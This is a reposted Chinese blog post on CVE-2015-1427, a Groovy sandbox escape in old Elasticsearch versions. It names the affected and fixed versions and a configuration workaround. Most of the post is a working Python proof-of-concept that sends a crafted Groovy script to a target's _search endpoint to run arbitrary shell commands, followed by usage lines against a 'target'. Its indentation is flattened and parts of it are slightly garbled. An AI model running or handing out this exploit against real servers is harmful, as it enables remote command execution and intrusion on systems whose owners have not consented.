ElasticSearch Groovy远程代码执行漏洞(CVE-2015-1427)POC

ElasticSearch是一个JAVA开发的搜索分析引擎.

2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

这次轮到的Groovy,影响版本是Elasticsearch 1.3.0-1.3.71.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。

这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。
  已修复的版本是Elasticsearch 1.3.8 和 1.4.3,建议用户更新到最新版本。

当然如果你不想升级版本也可以通过修改elasticseach.yml的 script.groovy.sandbox.enabled 为 false就行了。

Python写的POC

 1 #!/usr/bin/env python
 2 #-*-coding:utf-8-*-
 3 import urllib
 4 import urllib2
 5 import json
 6 import sys
 7 def execute(url,command):
 8 parameters = {
 9                 "size":1,
10                 "script_fields":
11                 {"iswin":
12                         {
13                             "script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).\newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.\class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").\getInputStream())).readLines()" % command,
14                             "lang": "groovy"
15                         }
16                 }
17             }
18 data = json.dumps(parameters)
19 try:
20     request=urllib2.Request(url+"_search?pretty",data)
21     request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36')
22     response=urllib2.urlopen(request)
23     result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]
24 for i in result:
25     print i
26 except Exception, e:
27     print e
28 if __name__ == '__main__':
29     if len(sys.argv) != 3:
30         print "usage %s url command" % sys.argv[0]
31     else:
32         execute(sys.argv[1],sys.argv[2])
View Code

用法:

1. python Elasticsearch.py target ifconfig
2. python Elasticsearch.py target 'uname -a'

 

 

 

转载于:https://www.cnblogs.com/sxmcACM/p/4435842.html

你可能感兴趣的:(ElasticSearch Groovy远程代码执行漏洞(CVE-2015-1427)POC)